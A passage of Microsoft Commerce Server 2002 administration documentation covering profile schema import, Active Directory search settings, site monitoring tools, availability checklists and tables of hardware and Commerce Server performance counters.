  2. In the Select a File dialog box, select the profile schema you want to import, and then click Open to open the Profile Schema Import dialog box.
  3. In the Import Profile Schema dialog box, select the file containing profile schema you want to import, and then click Import.

    Note

    • To edit the connection string for the selected profile schema, click Edit.
  4. In the Partitions dialog box, expand the data source that contains the partitions you want to import, select the data source partition you want to import, and then click Edit.

    You must enter a user name and password for each data source partition you want to import.

    Note

    • For information about setting up SQL Server partitions, see To create a new data source with a SQL Server database partition. To add a new LDAPv3-Compliant Source, see To create a new LDAPv3-Compliant Source data source.
  5. In the partition connection string dialog box, click Test to make sure that the connection string works.
  6. Repeat steps 4 through 6 until you have added user names and passwords for all of the partitions you want to import.
  7. Click Import to import the partition. Click Yes to import the partition and overwrite the existing schema.

The profile schema is imported, overwriting the existing schema.


Importing User Profiles

You can import user profile datafrom external systems using the following methods:

  • Attach user profile information to existing data. This can be done using the aggregation feature of the Profiling System. Using this option you would treat the existing data as any other datasource.
  • Import the data into the Commerce Server Profiling System. The Profiling System provides an OLE DB interface that you can access using Active Directory objects and perform simple SQL statements such as insert, update, delete, and select.


Managing Preexisting Accounts in Active Directory Stores

To leverage pre-existing accounts in Active Directory, you must configure the search container and search scope of Active Directory data sources appropriately. Configuring the search container and search scope correctly enables the Profiling System to find the pre-existing accounts for directory operations such as object creation and object retrieval. At the beginning of every search operation, the Profiling System determines the starting container for the search operation and whether it should perform a one-level search or a sub-tree search.

This section contains:

  • Starting Container for Directory Operations
  • Search Scope


Starting Container for Directory Operations

The Profiling System provides three attributes for defining the starting search container:

  • ParentDN
  • DefaultParentURL
  • Parent URL

These attributes are arranged in a hierarchy that determines the precedence for searching. The following three topics are arranged according to this hierarchy.

ParentDN

The ParentDN property is optionally added to the profile definition to specify the distinguished name (DN) of the starting search container. If used, this property allows the container to be specified for an individual profile and overrides the settings for the DefaultParentURL and Parent URL attributes. Specifying this attribute provides the most detailed level of control.

DefaultParentURL

The DefaultParentURL attribute is added as a custom attribute to the profile definition, as shown in the following figure. The value of this attribute is relative to the defaultNamingContext custom attribute specified for the data source. This value is used as the starting search container for all profiles (of this definition type) that do not have a different value specified in a ParentDN property. This attribute overrides the Parent URL attribute.

The following figure shows the DefaultParentURL attribute being added to the UserObject profile.

ParentDefaultURL attribute being added to UserObject profile.

Parent URL

You can configure the Parent URL attribute on the System Attributes tab in the Properties dialog box for the LDAP data source that is using the Profiles resource of Commerce Server Manager. The value of this attribute is the distinguished name (DN) of the starting search container.

As an example, assume that existing accounts are stored in CN=Users,DC=testDomain,DC=com. One way to direct the Profiling System to read accounts from this container is to set the Parent URL attribute of the Active Directory data source to CN=Users,DC=testDomain,DC=com. The Profiling System will perform all subsequent directory operations against this container unless overridden by the DefaultParentURL attribute or the ParentDN property.


Search Scope

The search scope depends on whether the client operation is a bulk operation (invoking a SELECT query against an OLE DB Provider) or a single-instance operation (invoking the GetProfile method of the ProfileService object). Bulk operations always set the search scope to sub-tree (sub-directories of the specified parent URL attribute are also searched). Single instance operations default to a one-level search scope (sub-directories are not searched). You can configure the client operation to perform sub-tree searches using the Profiles resource of Commerce Server Manager.


Monitoring Commerce Server Sites

Microsoft Windows 2000 Server and Commerce Server 2002 provide a set of monitoring tools that system administrators can use to monitor the performance of their Commerce Server sites. The tools provided by Windows 2000 Server and Commerce Server help you to analyze site usage. You can use the results of these analyses to fine-tune site performance and accommodate growth.

Planning for and configuring your monitoring tools are the initial steps for monitoring your sites. After you have a monitoring plan in place, see Optimizing Commerce Server for more information about fine-tuning the performance of your sites.

Commerce Server generates events in the Event Viewer snap-in so you can verify that Commerce Server is performing correctly. For more information about Event Viewer and System Monitor, see Windows 2000 Server Help.

This section contains:

  • About Site Monitoring. Describes monitoring tools you can use.
  • Setting Up Your Monitoring Configuration. Describes how to plan for and configure your monitoring tools.
  • Monitoring Production Servers. Describes ways to monitor production servers.
  • Monitoring Commerce Site Availability. Provides an availability checklist for monitoring your Site.
  • Hardware Performance Counters. Lists the hardware performance counters you should monitor in a Commerce Server 2002 installation.
  • Commerce Server Performance Counters. Lists the performance counters available in Commerce Server 2002.
  • Predictor Resource Performance Counters. Describes how to use Commerce Server performance counters to monitor the Predictor Resource.


About Site Monitoring

To monitor Commerce Server 2002 sites, you use Commerce Server performance counters as well as server and resource monitoring tools that are available in Microsoft Windows 2000 Server and Microsoft Visual Studio.

This section discusses non-Commerce Server tools. For information about Commerce Server performance counters, see Commerce Server Performance Counters.

Health Monitor

Internet Protocol Security (IPSec) Monitor

Microsoft Web Application Stress Tool

Network Monitor

SQL Server Profiler

Visual Studio Analyzer

Active Directory Monitoring Tools

Health Monitor

Health Monitor is a service that is available in Microsoft Application Center 2000. Health Monitor displays events and threshold breaches by running an agent on each monitored server and tracking values in the Windows Machine Interface (WMI). For more information about Application Center, see Microsoft Application Center 2000 Help.

Internet Protocol Security (IPSec) Monitor

Windows 2000 provides the Internet Protocol Security (IPSec) Monitor to confirm whether your secured communications are successful. It displays the active security associations on local or remote computers. For example, you can use IPSec Monitor to determine whether there has been a pattern of authentication or security association failures, possibly indicating incompatible security policy settings.

Microsoft Web Application Stress Tool

The Microsoft Web Application Stress (WAS) tool is a simulation tool developed by Web testers to realistically reproduce multiple browsers requesting pages from a Web application. Microsoft has made the tool easy to use by masking some of the complexities of Web server testing. This makes the WAS tool useful for anyone interested in gathering performance data on a Web site.

The WAS tool is a consolidation of many of the best features developed in WAS over the years, as well as a few new features. In addition, the current version covers the most needed features for stress testing three-tiered, personalized, and ASP page sites running on Windows 2000.

Network Monitor

Network Monitor (Netmon.exe) is a Windows 2000 administrative tool you can use to track network traffic. You use Network Monitor to capture network traffic for display and analysis. You can use this tool to perform tasks such as analyzing previously captured data in user-defined methods, extracting data from defined protocol parsers, and analyzing real-time traffic on your network.

Network Monitor is useful for capturing packets between browsers, Web servers, and SQL Server. It provides valuable timing information as well as packet size, network utilization, and many other statistics that can be valuable for managing system performance. It is not installed by default, but you can install it by using the Add/Remove Programs option in the Control Panel.

SQL Server Profiler

SQL Server Profiler is a tool that captures Microsoft SQL Server events from a server. The events are saved in a trace file that you can analyze or use to replay a specific series of steps later when you are trying to diagnose a problem. You can use SQL Server Profiler to:

  • Step through problem queries to find the cause of the problem.
  • Find and diagnose slow-running queries.
  • Capture the series of SQL statements that lead to a problem. The saved trace can then be used to replicate the problem on a test server where the problem can be diagnosed.
  • Monitor the performance of SQL Server to tune database performance.

Visual Studio Analyzer

You can use Visual Studio Analyzer, a tool in Microsoft Visual Studio 6.0 Enterprise Edition, to analyze performance, isolate page faults, and understand the structure of your distributed applications. You can use Visual Studio Analyzer with applications and systems built with any of the Visual Studio tools.

Several Microsoft technologies, such as Component Object Model (COM), ActiveX Data Objects (ADO), and COM+, are shipped with the ability to provide information to Visual Studio Analyzer. If your applications use any of these technologies, you can get detailed information about this use in Visual Studio Analyzer. In addition, you can customize your own applications to provide information to Visual Studio Analyzer.

Active Directory Monitoring Tools

If you are deploying a site that uses Active Directory, use the following monitoring tools:

Active Directory monitoring tool | Use to monitor
Event Log | Information about hardware, software, and system problems. You can use Event Logs to aggregate system uptime by monitoring a combination of system startup, clean shutdown, and other shutdown events.
Performance Logs and Alerts | Performance Logs and Alerts. Performance counters are contained in categories of objects. You can configure Performance Logs and Alerts to alert you when designated thresholds have been exceeded. You choose the criteria you want reported and the manner in which you want it reported to you.
Replication Monitor | Low-level status and performance of replication between Active Directory domain controllers. Replication Monitor is available in the Microsoft Windows 2000 Server Resource Kit.

See Also

Commerce Server Performance Counters


Best Practices for Monitoring a Site

To download the Commerce Server capacity planning toolkit, see http://go.microsoft.com/fwlink/?LinkId=5165.

For diagnostic purposes, do the following before starting System Monitor or Performance Logs and Alerts on the computer you are using for monitoring:

  • Close screen-saver programs.
  • Turn off services that are not essential or relevant to monitoring.
  • Run the System Monitor from a remote computer. By making this change, you move the majority of the CPU and I/O cost to the remote computer.
  • Increase the paging file to physical memory size plus 100 MB.
  • Use a private administrative network. During remote logging, frequent updating can slow performance due to network transport. Using a private administrator network, which is typically done with another network interface card (NIC), solves this issue. You can also reduce the sample of data collection. For example, if you are sampling data at three-second intervals, sample at five-second intervals. Also, you can use two network interfaces/computers so that each network segment runs different operations. For example, one computer may be dedicated for updating news and another may be dedicated for updating stock trading transactions.
  • Review logged data by graphing it using the System Monitor display or exporting it for printing. For detailed information about specific performance counters, see Commerce Server Performance Counters.
  • Set alerts according to the counter values you consider unacceptable, as defined by your baseline evaluation.
  • Reduce the number of performance counters to only those you need. For a list of recommended counters, see Hardware Performance Counters and Commerce Server Performance Counters.
  • Monitor trends for capacity planning and add or upgrade components as needed. Maintain logged data in a database and observe changes to identify changes in resource requirements. After you observe changes in activity or resource demand, you can identify where you may require additional resources.

See Also

Optimizing Commerce Server


Setting Up Your Monitoring Configuration

You begin monitoring your sites by planning for capacity and by configuring your monitoring tools to keep monitoring overhead low. You should create monitoring configurations that can be saved and copied to other computers using the System Monitor in the Microsoft Management Console (MMC). A monitoring configuration will help you highlight data center issues and visualize traffic flow through your system. Creating this configuration can also help you to understand site software issues and see how the software is interrelated.

In planning your configuration, do the following:

  • Configure Performance Logs and Alerts to report data for the recommended counters at regular intervals, such as every 10 to 15 minutes.
  • Retain logs over extended periods of time.
  • Store resulting data in a database, and query the data in order to analyze it and report on overall performance assessment, trend analysis, and capacity planning.

This section contains:

  • Capacity Planning
  • Keeping Monitoring Overhead Low


Capacity Planning

To download the Commerce Server capacity planning toolkit, see http://go.microsoft.com/fwlink/?LinkId=5165.

Capacity planning is the process of planning for application, hardware, and network requirements to support expected site traffic and to achieve site performance goals. You determine capacity by measuring the number of users to your site, determining how much demand each user places on the server, and then calculating the computing resources (CPU, RAM, disk space, bandwidth and utilization, and network bandwidth) necessary to support current and future usage levels.

To ensure adequate capacity, you must calculate how much computing hardware you need to handle the load that thousands or hundreds of thousands of users can put on your site. These calculations can help you find weak areas that can cause performance degradation. You can resolve weak areas by adding hardware or by redesigning dynamic pages or other CPU-intensive tools.


Keeping Monitoring Overhead Low

  • Commerce Server performance counters and tools are designed for minimal performance overhead. However, performance tool operation is affected by file sizes and disk space taken up by log files, which contributes to overhead.
  • You can reduce file size and related disk space usage by extending the update interval. Also, you can log data to a disk other than the one you are monitoring. Frequent logging also adds demand on disk input and output (I/O).

Increases in Monitoring Overhead

  • If monitoring overhead is a concern, run only Performance Logs and Alerts and do not use a System Monitor graph for monitoring your site. You may find that overhead increases under each of the following conditions:
    • You are running System Monitor in graph view.
    • You have selected an option other than the default (current value) for a report view.
    • You are sampling data at very frequent intervals (less than three seconds apart).


Monitoring Production Servers

If you manage a Web farm of computers running Commerce Server 2002 Enterprise Edition, you can monitor system performance with Windows 2000 System Monitor or other similar tools to predict where bottlenecks may occur. You can effectively monitor your production servers by running calibration tests, updating usage profiles, and monitoring performance counters for Commerce Server.

Run Calibration Tests

Update Usage Profiles

Monitor Commerce Server Performance Counters

Run Calibration Tests

A Compaq RAID array, or similar disk subsystem has very different performance characteristics depending upon the actual hardware setup. As a best practice, you should calibrate the subsystem to determine the following elements:

  • Maximum physical disk reads per second
  • Maximum physical disk writes per second
  • Maximum disk bytes per second

Modern disk subsystems have tiers of complexity. For single disk drives or simple SCSI solutions, the % Disk Time counter is an accurate reflection of the capacity of the physical disk. For more complex multi-disk configurations, the disk queue can grow to the number of active spindles in the array before any items are actually waiting to be transferred.

For the newest Low Voltage Differential (LVD) or Fibre Channel disk systems, the issues are more complex. For these high-end systems, you should observe performance and capacity with the tools the vendor supplies. In addition, there is a maximum bandwidth limit in the system bus of the server and the SCSI or Fibre Channel interface. The total disk throughput should be compared to these limitations.

Update Usage Profiles

The usage profile is a statistical model of an average user interaction and the maximum number of concurrent users that the site needs to support at its peak. An important part of site monitoring is to monitor users to determine if user behavior has changed. Watching growth trends in user activity is critical. More important, however, is to give this data to your developers, testers, and capacity planners so they can plan for future hardware and software requirements.

You use the User Profile Management performance counters to update and monitor user behavior.

Monitor Commerce Server Performance Counters

Review the list of Commerce Server performance counters. Begin by adding the counters from this list to the System Monitor. You can add other counters later.

See Also

Hardware Performance Counters

Commerce Server Performance Counters


Monitoring Commerce Site Availability

Create an availability checklist to monitor the availability of your site. The availability checklist should contain the items in this section.

Monitor Bandwidth Usage: Per Day, Week, and Month

Monitor Network Availability

Monitor System Availability

Monitor HTTP Availability

Monitor Performance Metrics

Monitor Bandwidth Usage: Per Day, Week, and Month

  • Bandwidth. How bandwidth is being used (peak and idle).
  • Usage. How usage increases (if it increases, when it increases, and how long it increases).

You can use this information to project how much bandwidth you will need in the future. This will enable you to plan for the peak bandwidth you need for a holiday shopping season.

You can get bandwidth usage data from managed routers and Internet Information Services (IIS) 5.0 log analysis (using the Commerce Server Data Warehouse).

Monitor Network Availability

Use Network Internet Control Message Protocol (ICMP) echo pings, which are available in most network monitoring software.

Compare your network availability to the level agreed to in your service level agreement (SLA) with your Internet Service Provider (ISP)/data center provider. Request improvement if network availability falls below the level agreed to in the SLA.

The formula for measuring network availability is as follows:

(Number of successful ping returns/number of total pings issued) x 100%

Monitor System Availability

Monitor the following systems:

  • Operating system. Monitor normal and abnormal shutdowns of the operating system.
  • SQL Server. Monitor normal operation and failover events of Microsoft SQL Server.
  • Internet Information Services (IIS). Monitor normal and abnormal shutdowns in IIS.

The formula for measuring system availability is as follows:

(Period of measurement-downtime)/period of measurement) x 100%

Monitor HTTP Availability

Monitor the following HTTP requests:

  • HTTP requests (internal). Monitor HTTP requests issued internally.
  • HTTP requests (per ISP). Monitor HTTP requests issued from ISP networks to track whether or not users of the monitored ISP networks can access your site.
  • HTTP requests (per geographic location). Monitor HTTP requests issued from different geographic locations (New York, San Francisco, London, Paris, Munich, Tokyo, Singapore, and so on) to track whether or not users from respective areas of the world can access your site.

Downtime occurs when the site fails to return a page or returns a page with an incorrect response. The formula for measuring HTTP availability is as follows:

(Number of successful HTTP requests/number of total HTTP requests issued) x 100%

Monitor Performance Metrics

Monitoring performance is not strictly part of monitoring availability. However, monitoring performance can sometimes provide advance warning about potential problems that can affect availability if you do not address them.

Monitor the following performance metrics:

  • Number of visits (per day/week/month). Monitor site traffic information to assess the level of site activity. This data is available from the Data Warehouse.
  • Latency of requests for sets of operations and page groups (per day/week/month). Compare these metrics to your transaction cost analysis (TCA) test results to see how site performance compares to TCA predictions and to identify system bottlenecks.
  • CPU utilization (per day/week/month). Monitor use on Microsoft Windows servers, SQL Server servers, IIS/Commerce Server servers, middleware, and so on. Group servers by function to make it easier to track and plan site capacity.
  • Disk storage. Group servers by function and monitor disk capacity (total disk capacity and free space). Review weekly and monthly history, so you can spot trends and plan for expansion.
  • Disk I/O. Group servers by function and monitor disk input/output (I/O) throughput. Compare weekly and monthly history with the disk I/O rating provided by the manufacturer. If the observed I/O nears the disk I/O, consider adding more spindles (adding more drives to the drive stripe set) or redistribute disk I/O to multiple disk controllers.
  • Fiber channel controller/switch bandwidth. Monitor system area network (SAN) fiber channel controller bandwidth. (A SAN is typically used to interconnect nodes within a distributed computer system, such as a cluster. These systems are members of a common administrative domain and are usually in close physical proximity. A SAN is physically secure.) If the observed bandwidth nears the throughput rating provided by the manufacturer, consider adding more controllers and switches to redistribute traffic and get more aggregate bandwidth.
  • Memory. Make sure that the amount of available memory is greater than 4 MB. If the system nears this level during peak usage, add more memory to the server.


Hardware Performance Counters

The following table describes the hardware performance counters you should monitor in a Commerce Server 2002 installation. You can find these counters in Microsoft Windows 2000 System Monitor. Each server in your data center should be monitored with performance counters and the results should be viewed collectively. The counters in the System and Memory objects can be used to monitor capacity.

Performance object | Counter name | Description
Network Segment | Bytes received per second Bytes sent per second | If a network card approaches its maximum capacity, another should be added. If this value approaches the capacity of the network, then a higher bandwidth network might be necessary.
Inetinfo Instance (in the Process object) | Virtual bytes | Monitor this for memory leaks or size approaching maximum available RAM. This counter measures the virtual memory allocations.
 | Working set | Should be well within the hardware capacity you have available, which means less than the physical RAM.
Memory | Available bytes | Should be greater than 4 MB.
 | Pages per second | Should be less than one page per second. If the system is actually out of memory, this is the biggest indicator of the problem.
Physical Disk | Disk Writes/second Disk Reads/second | Combined, these two counters should be well under the maximum capacity for the disk device.
 | % Disk Time | The percentage of elapsed time that the selected disk drive is busy servicing read or write requests.
SQL Server | IO transactions/sec | Indicates how much activity the SQL Server actually performs.
 | Compiles/sec Recompiles/sec | Indicates the efficiency of the queries that SQL Server is running. Reducing this number is key to reducing the CPU load on the SQL Server.
System | Context switches/sec | If this rate is greater than 5,000 context switches per CPU, then another server should be added to horizontally scale the system.
 | %Total Processor | Peak utilization can be 100 percent, but utilization should not be sustained at a level past the capacity of your processor. All of the server elements can be scaled horizontally.
Web | Total connections | The number of active Transmission Control Protocol (TCP) connections to the server.
 | Get requests/sec | The number of HTTP requests that are received at the server. This is the primary indicator of traffic to a Web site.
 | Non-anonymous users per second | Tracks the number of authenticated user requests at a site.
Active Server Pages | Requests per second | Rate that Active Server Pages (ASP) are processing requests. Includes both successful and failed requests.
 | Requests executing hardware counter | The average number of requests running at a time during the sample period. Internet Information Services (IIS) 5.0 has many threads that can simultaneously process requests.
 | Request wait time | Should be very close to zero (less than 100 milliseconds) because this is the amount of time a request sits in the queue before it begins processing. You do not want users to experience long wait times to process their checkout transactions.
 | Requests queued | There should not be a significant queue except at peak periods.

Bytes Received Per Second Hardware Counter

Compare the bytes received per second counter to the total bandwidth of your network adapter card to determine whether your network connection is creating a bottleneck. To allow room for spikes in traffic, you should usually use no more than 50 percent of capacity. If this number is very close to the capacity of the connection, and processor and memory use are moderate, then the connection might be a problem.

Requests Executing Hardware Counter

If the number for the Requests executing counter is always greater than one (1), there could be a problem in an ASP page or object that is causing a request to hang. If this number is never greater than one, even during peak periods, you might have accidentally left ASP bugging on in your site.


Commerce Server Performance Counters

The following table lists the performance counters available in Commerce Server 2002 Enterprise Edition. It is recommended that you run these counters in System Monitor, located in the Console Root in Commerce Server Manager.

Note

  • To monitor performance on a single site in a multi-site configuration, you must use the Sitename token in all Profile Service objects’ connection strings for every installed site. For example, if you have three sites, A, B, and C, and you want to monitor performance on site A, you must include “Sitename=” token with the appropriate site name for all sites. Otherwise, sites B and C will increment all site performance counters including site A.
  • If you cannot find a performance counter in System monitor, check the registry for the existence of a value “Disable Performance Counters” under the key for the counter, for example:

    HKLM\System\CurrentControlSet\Services\CSMarketingPerf\Performance

    If it has a value of 1, then the counters were disabled. Set the value to zero and they will work again.

Performance object | Counter name | Description
CS2002: User Profile Management | AuthMgr: AnonTickets/sec | The number of tickets, or property/value pairs, set for anonymous users per second at a particular site.
 | AuthChecks Failed/sec | The number of failed authentication checks per second at a particular site.
 | AuthMgr: AuthChecks Succeeded/sec | The number of successful authentication checks per second at a particular site.
 | AuthMgr: AuthMgr Objects/sec | The number of Authentication Manager objects created per second at a particular site.
 | AuthMgr: AuthTickets/sec | The number of authenticated tickets set per second at a particular site.
 | AuthMgr: Custom Properties/sec | The number of custom properties set per second at a particular site.
 | AuthMgr: Get_Custom-Properties/sec | The number of Get_Custom-Properties set per second at a particular site. The GetProperty() counter gets the custom property values from the user cookie.
 | AuthMgr: Total AnonTickets | The total number of tickets, or property/value pairs, set for anonymous users at a particular site.
 | AuthMgr: Total AuthChecks Failed | The total number of failed authentication checks at a particular site.
 | AuthMgr: Total AuthChecks succeeded | The total number of successful authentication checks at a particular site.
 | AuthMgr: Total AuthMgr Objects Created | The total number of Authentication Manager objects created at a particular site.
 | AuthMgr: Total AuthTickets | The total number of authenticated tickets at a particular site.
 | AuthMgr: Total Custom-Properties | The total number of Custom-properties set at a particular site.
 | AuthMgr: Total Get_Custom-Properties | The total number of GetCustom-properties set at a particular site.
 | AuthFilter: Token-Cache-Entries (total) | The total number of Token-Cache entries in Windows Authentication mode.
 | AuthFilter: Token-Cache-Size (bytes) | The size, in bytes, of Token-Cache in Windows Authentication mode.
 | AuthFilter: Token-Cache Entries (Active) | The current number of active Token-Cache entries in Windows Authentication mode.
 | AuthFilter: WindowsAuth-Cache-Hits | The total number of password cache hits in Windows Authentication mode.
 | AuthFilter: WindowsAuth-Cache-Hits/sec | The number of password cache hits per second in Windows Authentication mode.
 | AuthFilter: WindowsAuth-Cache-Misses | The total number of password cache misses in Windows Authentication mode.
 | AuthFilter: WindowsAuth-Cache-Misses/sec | The number of password cache misses per second in Windows Authentication mode.
 | AuthFilter: Total Successful Windows-AuthChecks | The total number of successful Windows Authentication checks by the authentication Internet Server Application Program Interface (ISAPI) filter. This is the total number of times the filter passed the credentials to Internet Information Services (IIS) 5.0 and returned successfully.
 | AuthFilter: Successful Windows-AuthChecks/sec | The number of successful Windows Authentication checks per second.
 | AuthFilter: Total Failed Windows-AuthChecks | The total number of failed Windows Authentication checks.
 | AuthFilter: Failed Windows-AuthChecks/sec | The number of failed Windows Authentication checks per second.
 | AuthFilter: Total AutoCookies | The total number of AutoCookies generated.
 | AuthFilter: AutoCookies/sec | The number of AutoCookies generated per second.
 | AuthFilter: Total Requests Failed | The number of failures caused by a full filter-cache, or because an error occurred and a filter redirected to an error page.
 | UPM: Active Connection Count | The total number of currently active connections in the connection pool.
 | UPM: Active Heap Count | The total number of currently active heaps in the heap pool.
 | UPM: Active Heap Count (using SetCounter) | The total number of currently active heaps in the heap pool when using SetCounter.
 | UPM: Background Thread State | The value for this counter is either 1 (On) or 0 (Off), indicating whether the background thread is currently active.
 | UPM: Bucket Lock Contention Context Switches/sec | The total number of context switches per second due to bucket lock contention.
 | UPM: Cache Retry Logic Context Switches/sec | The total number of context switches per second (along the internal cache lookup retry logic code path).
 | UPM: Connection Pool Lock Contention Context Switches/sec | The total number of context switches per second due to connection pool lock contention.
 | UPM: Create Profile Latency | The cumulative latency for all profile object creations in one second.
 | UPM: Delete Profile Latency | The cumulative latency for all profile object deletions in one second.
 | UPM: DTS Export Errors | The total number of errors that occurred during an export.
 | UPM: DTS Records Exported | The total number of records exported.
 | UPM: DTS Records Exported/sec | The total number of records exported per second.
 | UPM: Free Entry Lookup Rate | The number of times, per second, the foreground thread purged entries from the profile object cache to search for a free block.
 | UPM: Get Profile Latency | The cumulative latency for all profile object retrievals in one second.
 | UPM: Heap Pool Lock Contention Context Switches/sec | The number of context switches per second due to heap pool lock contention.
 | UPM: Modify Profile Latency | The cumulative latency for all profile object updates in one second.
 | UPM: Object Reads | The total number of profile objects retrieved.
 | UPM: Object Reads/sec | The number of profile objects retrieved per second.
 | UPM: Object Creations | The total number of profile objects created.
 | UPM: Object Creations/sec | The number of profile objects created per second.
 | UPM: Object Deletes | The total number of profile objects deleted.
 | UPM: Object Deletes/sec | The number of profile objects deleted per second.
 | UPM: Object Modifies | The total number of profile objects modified.
 | UPM: Object Modifies/sec | The number of profile objects modified per second.
 | UPM: Cache Objects | The total number of cache objects.
 | UPM: Cache Hit Rate/sec | The number of cache hits per second.
 | UPM: Cache Miss Rate/sec | The number of cache misses per second.
 | UPM: No. of Cache Purges | The number of times the foreground thread purged entries from the profile object cache to search for a free block of memory.
Catalog | Catalog Queries per second | The number of queries made to the Product Catalog System per second. Query and FreeTextSearch are used to record the values for the performance monitor counters. No other methods record the counters.
Data Warehouse and Analysis | CatImport: Total Catalogs | Total number of catalogs imported during this DTS import task.
 | CatImport: Total Categories | Total number of categories imported during this DTS import task.
 | CatImport: Total Products | Total number of products imported during this DTS import task.
 | UPM: DTS Records Exported/sec | The number of Data Transformation Services (DTS) records exported per second.
 | UPM: DTS Records Exported | The total number of DTS records exported.
 | UPM: DTS Export Errors | The total number of DTS errors that occurred during export. This is a cumulative number of field mismatches and objects that could not be recorded by the Data Warehouse.
 | UImport: Free hit buffers | The number of currently available empty hit buffers.
 | UImport: Used hit buffers | The number of currently filled hit buffers.
 | UImport: Hits per second | The rate per second at which the import task is processing hits.
 | UImport: Current visits | The total number of active visits recorded while the log files are processed.
 | UImport: Commerce events | The total number of Commerce Server events that occurred for the import task.
 | UImport: Decoded cookies | The total number of Commerce Server-decoded cookies encountered while the import task was running.
 | UImport: Query strings | The total number of query strings processed while the import task was running.
 | Total IPs resolved | Total number of Internet Protocols (IPs) resolved during this DTS IP Resolution task.
 | Total IPs unresolved | Total number of IPs unresolved during this DTS IP Resolution task.
 | Provider: Total SetColumns | The total number of times SetColumns() has been called.
 | Provider: Committed rows per second | The number of rows stored per second.
CS2002: Marketing and Catalog | DML: Direct Mail errors per second | The number of errors returned by Direct Mailer per second.
 | DML: Direct Mail jobs running | The total number of Direct Mailer jobs currently running.
 | DML: Mail Messages sent/second | The number of mail messages sent, by all Direct Mailer jobs per second.
 | DML: Total Direct Mail errors | The total number of errors returned by all Direct Mailer jobs.
 | DML: Total messages sent | The total number of mail messages sent by all Direct Mailer jobs.
 | EEE: Evaluations/second | The number of expressions evaluated per second.
 | EEE: Expression Cache Size | The total number of expressions currently in the expression cache.
 | EEE: Property Cache Hits | The total number of property cache hits since the server started.
 | EEE: Property Reads | The total number of properties read by the Expression Evaluator since the server started.
 | EEE: Property Reads/second | The number of properties read per second by the Expression Evaluator.
 | EEE: Result Cache Hits | The total number of cache hits since the server started.
 | EEE: Total Evaluation Errors | The total number of evaluation errors returned.
 | EEE: Total Evaluations | The total number of evaluations returned since the server has been up, including both successful and erroneous evaluations.
 | LRUCache: Cache size | The total number of entries in the cache. Cache size can grow to 10 percent more than the size set by the user, at which time a flush will occur to bring the cache size back to the preset limit. LRUCache counters are grouped by site, not by the individual cache.
 | LRUCache: Flushes/sec | The number of items flushed out of the cache per second to accommodate new items added to the cache. Records items flushed by the LRU algorithm and items flushed manually.
 | LRUCache: Hits/sec | The number of cache hits per second for the cache.
 | LRUCache: Misses/sec | The number of cache misses per second for the cache.
 | Predictor: Total Model Loads | The number of models loaded since the service was last restarted.
 | Predictor: Client Avg Prediction Time | The average elapsed time required for a prediction to be returned.
 | Predictor: Client Model Loads From File | The number of times an analysis model is loaded from a file.
 | Predictor: Total Client Predictions | The total number of predictions.
CS2002: Pipelines | Average execution time | The average execution time in microseconds for the particular component of the pipeline.
 | Errors total | The total number of Error Level 3 failures returned by the particular pipeline component (PIPEERRORLEV_FAIL) or FAILED HRESULT.
 | Errors per second | The number of errors generated by the particular pipeline component per second.
 | Execution total | The total number of times the particular pipeline component has been executed.
 | Executions per second | The number of executions made by the particular pipeline component per second.
 | Warning total | The total number of Error Level 2 warnings returned by the particular pipeline component (PIPEERRORLEV_WARN).
 | Warnings per/second | The number of warnings returned by the pipeline component per second.

Notes

  • For the Data Warehouse and Analysis object, Data Warehouse performance counters are used only when importing data groups such as DTS tasks, users, and catalogs. For this reason, the Data Warehouse performance counters need to be set up as anonymous servers.
  • For the CS2002: Pipelines object, one instance of each pipeline counter exists for the entire pipeline.

AuthChecks Failed/sec Performance Counter

The AuthChecks Failed/sec counter is the number of failed authorization checks per second. This counter rate is incremented when the IsAuthenticated function fails. It can fail when there is no AuthTicket in the cookie or when the AuthTicket that is in the cookie has expired.

AuthFilter: Token-Cache-Size Performance Counter

The Token-Cache-Size counter is the number of user tokens stored in the filter cache. This number can be changed in the SiteConfig object in the Microsoft Management Console (MMC). You would change this number if the server has sufficient RAM and the site is frequently visited by a large number of diverse users in a short period of time.

Catalog Queries per Second Performance Counter

The Catalog Queries per second counter is the rate of queries per second through the CS2002: Marketing and Catalog object on a server. These queries include all category and product related queries as well as free text search. You can reduce queries made to the Product Catalog System by using a product cache or search cache to improve performance. Free text search can also be tracked with the Microsoft search>queries/sec counter.

The catalog query rate is the uncached rate. If this rate is high, then the application code should be changed to take advantage of a local caching mechanism, such as the LRUCache counter.

DML: Direct Mail Jobs Running Performance Counter

The Direct Mail jobs running counter measures the concurrent job count. There is no specific synchronization method in this service. More concurrent jobs may or may not generate more throughput.


Predictor Resource Performance Counters

You can use performance counters to monitor the performance of the Predictor resource. The Predictor resource has four performance counters, one (the Client Avg Prediction Time counter) that allows you to measure how fast predictions are occurring, and three others that count how often certain operations on the PredictorClient object are being called.

Predictor resource performance counters are only available on computers where the PredictorClient object is used, such as your Web servers. Each counter is aggregated on a per-site basis, so that if you have multiple instances of the PredictorClient object active in a single site, the total number of counters will be totals for the entire site.

The following table lists the performance counters available in the Predictor resource.

Counter | Description
Client Avg Prediction Time | Use this counter to determine the average time it takes for a prediction to be returned. You are provided with an estimate of how much time is being spent each time you call the PredictorClient object. You can also use this counter without inserting timing code on the Active Server Page (ASP) page. Other uses for this counter are to test how asking for more predictions (by increasing the value for the lMaxPredictions object) affects performance, or to compare the performance of the Predict method on the PredictorClient object for different models. This counter makes measurements in milliseconds.
Client Model Loads From File | Use this counter to determine the number of times an analysis model is loaded from a file using the LoadModelFromFile method.
Total Client Model Loads from Database | Use this counter to determine the total number of times an analysis model is loaded from a server using the LoadModelFromDB method.
Total Client Predictions | Use this counter to determine the total number of client predictions. This counter is useful for keeping track of how often the Predict method on the PredictorClient object is being called.

See Also

Commerce Server Performance Counters

Hardware Performance Counters


Optimizing Commerce Server

You analyze and optimize the system performance of Microsoft Commerce Server 2002 to ensure that your Web site can handle necessary levels of Internet traffic. To optimize your system, you must first analyze your current system and transactions, and then determine how many users concurrently use your site during normal and peak periods. You can then begin making adjustments in your system to optimize performance.

For additional information about optimizing Commerce Server, see http://go.microsoft.com/fwlink/?LinkId=5165, a series of white papers that explain the concepts and methodology of performance analysis, and demonstrates how performance analysis was conducted on sample sites. It includes links to tools downloads and sample scripts that can be used to test your site performance.

This section contains:

  • Analyzing Your Current System. Describes how to analyze your system and improve site capacity.
  • Using Transaction Cost Analysis. Describes how to measure the cost of different types of Web transactions on your site in order to increase performance.
  • Optimizing SQL Server Query Performance. Describes how to update SQL Index statistics to optimize SQL Server query performance.
  • Materializing Virtual Catalogs. Explains how to materialize virtual catalogs, and when and why you should materialized them.
